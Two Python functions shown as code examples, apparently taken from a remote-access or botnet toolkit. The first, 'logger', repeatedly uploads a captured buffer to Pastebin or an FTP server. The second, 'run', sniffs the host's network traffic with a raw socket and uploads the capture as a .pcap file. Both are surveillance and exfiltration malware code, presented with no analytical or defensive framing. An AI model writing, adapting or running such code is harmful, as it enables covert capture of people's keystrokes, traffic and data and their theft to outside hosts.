Example #1
0
def logger(mode='ftp'):
    """ 
    Upload the log to Pastebin or FTP server at a regular interval

    `Optional`
    :param str mode:    ftp, pastebin

    """
    try:
        while True:
            if globals()['_buffer'].tell() > max_bytes:
                try:
                    result = util.pastebin(globals(
                    )['_buffer']) if 'ftp' not in mode else util.ftp(
                        globals()['_buffer'])
                    results.append(result)
                    globals()['_buffer'].reset()
                except Exception as e:
                    util.log("{} error: {}".format(logger.__name__, str(e)))
            elif globals()['_abort']:
                break
            else:
                time.sleep(5)
    except Exception as e:
        util.log("{} error: {}".format(logger.__name__, str(e)))
Example #2
0
def run(mode, seconds=30):
    """ 
    Monitor the host network and capture packets

    `Optional`
    :param int seconds:    duration in seconds (default: 30)

    """
    try:
        if mode not in ('pastebin', 'ftp'):
            return "Error: invalid upload mode '%s'" % str(mode)
        if not isinstance(seconds, int):
            return "Error: keyword argument 'seconds' must be an integer"
        sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW,
                                       socket.htons(0x0003))
        while time.clock() < seconds:
            try:
                recv_data = sniffer_socket.recv(2048)
                recv_data, ip_bool = packetsniffer_eth_header(recv_data)
                if ip_bool:
                    recv_data, ip_proto = packetsniffer_ip_header(recv_data)
                    if ip_proto == 6:
                        recv_data = packetsniffer_tcp_header(recv_data)
                    elif ip_proto == 17:
                        recv_data = packetsniffer_udp_header(recv_data)
            except Exception as e:
                util.log(str(e))
                break
        try:
            sniffer_socket.close()
        except:
            pass
        results[time.ctime()] = util.pastebin(
            globals()['log']) if 'ftp' not in mode else util.ftp(
                globals()['log'], filetype='.pcap')
    except Exception as e:
        util.log("{} error: {}".format(packetsniffer.func_name, str(e)))